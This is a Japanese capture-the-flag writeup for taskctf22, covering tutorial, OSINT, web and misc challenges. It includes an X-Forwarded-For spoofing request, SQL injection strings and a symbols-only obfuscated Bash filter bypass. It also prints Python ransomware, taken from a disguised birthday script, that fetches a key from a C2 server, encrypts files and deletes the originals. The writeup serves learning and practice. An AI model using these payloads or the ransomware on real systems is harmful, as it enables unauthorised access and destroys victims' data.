taskctf22 Writeup
はじめに
2022/12/3に開催されたtaskctf22に参加したので、そのwriteupです。初心者〜中級者向けCTFでとても楽しめました(^^)
ちなみに17位でした。来年も開催されたら全完したい!
tutorial
just_google_it
108 Solves, 10 pts
分からないことがあれば、自分で調べてみましょう!
添付ファイルの文字列からFlagを取得してください!
Base64でデコードすると、Hello!
が大量に書かれているので、sed
を用いて消すとフラグが出る。
$ base64 -d -i base64_encoded.txt | sed -e 's/Hello! //g'
taskctf{Y0u_n0w_know_base64!}
taskctf{Y0u_n0w_know_base64!}
try_python
102 Solves, 10 pts
Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。
Pythonを使って配布ファイルに書かれた数字を全て足してみましょう! Flagは taskctf{ファイルに書かれた数の合計} です。
AI Programmerに書いてもらった。神。
numbers.txtに書かれている数字を空白ごとに読み取り、全て足して出力してください
with open('numbers.txt') as f:
numbers = f.read().split()
print(sum(int(number) for number in numbers))
$ python solve.py
250000
taskctf{250000}
build_docker_environment
68 Solves, 10 pts
DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。
配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう!
app/app.pyのコメントを外してコンテナ起動。
$ docker compose up --build
$ curl http://localhost:31777
...
<body>
<h1>build docker environment</h1>
<code>taskctf{D1d_y0u_run_d0cker_c0nta1ner?}</code>
</body>
...
taskctf{D1d_y0u_run_d0cker_c0nta1ner?}
osint
welcome
130 Solves, 100 pts
2019年のtaskctfのwelcome問題のFlagは何でしたっけ?
「taskctf 2019 writeup」で検索すると、st98さんが書かれたwrite-upが見つかった。
taskctf{let's_enj0y!}
ramen
106 Solves, 100 pts
このラーメン屋の名前は何でしょう?
正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。
Google レンズにどーん。候補の最初に似た画像が!
taskctf{蝋燭屋}
kofun
61 Solves, 356
作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか?
Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。
Google レンズにどーんしても出てこない。問題文を読み返すとSNSにもアップロードした
と書かれているので、Twitterで「task4233 古墳」で検索すると、問題の画像の他にもう1枚別の画像をアップロードしていた。その画像をGoogleレンズにどーんすると、龍角寺古墳群・第101号墳(千葉県)
であることが分かった。これでFlagを提出すると、不正解だったので、考え直す。提出回数制限がなかったので、「古墳総当たり作戦」で突破できると思い、20くらい適当な千葉の古墳を提出したが、正解しない。あれ?と思って「千葉 古墳 数」で検索して詳しく調べてみると、千葉県の古墳数は全国4位 で、その数なんと1万2765[1]。多すぎる。
沼ってきたので、ヒントを見てみることに。
https://twitter.com/task4233/media に同じような画像はありませんでしたか?
関連している画像から、古墳群の名前を特定できませんか?
古墳群から少し外れている可能性もあるので、頑張ってググりましょう!
Googleマップで古墳群に近いところから順に調べていくと、問題とほぼ同じ写真を発見した。
taskctf{上福田岩屋古墳}
web
robots
50 Solves, 404 pts
Flagが漏洩してるって聞いたけど、本当ですか???
問題文より/robots.txt
を見てみると、ヒットした。
User-Agent: * Disallow: /admin/flag
/admin/flag
を見る。
401 Unauthorized
xxx.xxx.xxx.xxx is not internal IP address :(
ローカルネットワークからのアクセスのみ許可してるっぽい。この系統の問題どこかで見たな〜と思い、「internal IP CTF」で検索すると、Hi120kiさんが書かれたwriteupが見つかった。 おそらく今回の問題も同様にX-Forwarded-Forヘッダーの設定に誤りがあるはずである。
$ curl -H 'X-Forwarded-For:127.0.0.1' http://xxx.xxx.xxx.xxx:xxx/admin/flag
...
<div class="container">
<h1>flag</h1>
<p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
</div>
...
taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}
first
29 Solves, 469
運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!
この掲示板に備わっている検索機能にSQLi脆弱性がある。問題コードを読むと、sqliteが使われていることも確認できる。
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
目的は100番目ちょうどの登録したユーザーを当てることなので、どうにかしてユーザーのアカウント登録時間を知りたいが、usersテーブルにはcreated_at
みたいなカラムはない。そこでシンプルにusersテーブルの上から100行目が100番目に作成したとし、以下の文字列で検索してみる。
' where users.name = (select users.name from users limit 99, 1) --
Taro_Goto
がヒットした。これでフラグを提出すると不正解。やり直し。コードを読み返すと、ユーザーidはuuid7
で生成していることが気になった。uuid7の説明を読んでみる。
Version 7 has the nice characteristic that the start of a UUID encodes the time with a chronological sort order and potentially ~50ns time resolution, while the end of the UUID includes sufficient random bits to ensure consecutive UUIDs will remain unique.
時間ソート可能みたい。order by
を付け加えて再検索する。
' where users.name = (select users.name from users order by users.id asc limit 99,1) --
taskctf{Satomi_Kato}
misc
ransomware
50 Solves, 404
友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?
hbd.sh
にBase64でエンコードした文字列があるので、デコードするとPythonで書かれた暗号化用コードになった。
#!/usr/bin/env python3
import requests
import glob
import os
C2 = "https://c2.task4233.dev/bD7bB7pc57d2"
def main():
# get a key from a c2 server
key = int(requests.get(C2).text)
files = glob.glob('./*')
# added for CTF:)
assert "./taskctf_flag.txt" in files
# encrypt all files
for file in files:
# ignore this script and directories
if os.path.basename(file) == os.path.basename(__file__):
continue
if not os.path.isfile(file):
continue
# encrypt a target file
data = None
with open(file, 'r') as f:
data = f.read()
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
with open(f"{file}.encrypted", 'w') as f:
f.write(encrypted)
# delete the raw file
os.remove(file)
print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')
if __name__ == "__main__":
main()
keyはC2から入手し、chr(ord(ch) ^ key)
で1文字ごとに変換している。
- 排他的論理和には
x ^ y ^ y == x
という性質がある - ord()とchr()は逆の動作を行う
- 同じkeyを使い回している
この3点からkeyが分かれば簡単に復号できそう。しかし、C2にアクセスできず、keyが入手できない。そこで、ゴリ押しでkeyを求めることにした。フラグを暗号化しているので、先頭の文字を復号に成功するとt
になるだろうと決めつけ、以下のコードを書いて実行したらフラグを入手できた。
with open('taskctf_flag.txt.encrypted', 'r') as f:
data = f.read()
# KEYを求める、復号してtになればok
key = 0
while True:
if chr(ord(data[0]) ^ key) == 't':
break
key += 1
flag = ""
for ch in data:
flag += chr(ord(ch) ^ key)
print(flag)
taskctf{x0r_1s_e4sy_70_1mplemen7}
shellgei
16 Solves, 491
記号のみのBashスクリプトでFlagを表示してください!
Bashスクリプトでcat ./flag.txt
を実行することができればフラグを入手することができるが、!"#$%&'()*+,-./:;<=>?@[\]{}^ _\n
以外の文字が含まれた場合、~ is not allowed
と言われ実行されない。「Bash 記号のみ」で検索すると、いい感じの記事が2つ見つかった。
この2つの記事をがっつり真似しながら、以下のBashスクリプトを書き上げたらフラグが手に入った。
__=$(($$/$$)); ___=$(.&>/???/??/$__);___=${___##*.};____=$(($__+$__));_____=$(${___:($____$(($$-$$))-$__):$__}${___:($____*$____*$____):$__}${___:($____$(($$-$$))-$____):$__} -${___:$__$(($__+$____)):$__} .>&/???/??/$__);_____=${_____##*${___:($____$(($$-$$))-$__):$__}${___:($____*$____*$____):$__}${___:($____$(($$-$$))-$____):$__}};______=${_____,,};${______:$__$(($____*$____*$____-$__)):$__}${___:$(($____*$____+$____)):$__}${___:($____$(($$-$$))-$____):$__} ./${___:$__:$__}${___:$____+$__:$__}${___:$(($____*$____+$____)):$__}${___:$__$(($__+$____)):$__}.${___:($____$(($$-$$))-$____):$__}${______:$__$(($____*$____+$__)):$__}${___:($____$(($$-$$))-$____):$__}
taskctf{I_g0tt3_6e_re4l_w1th_y0u}
-
平成28年度埋蔵文化財関係統計資料 より。https://www.bunka.go.jp/seisaku/bunkazai/shokai/pdf/h29_03_maizotokei.pdf ↩︎
Discussion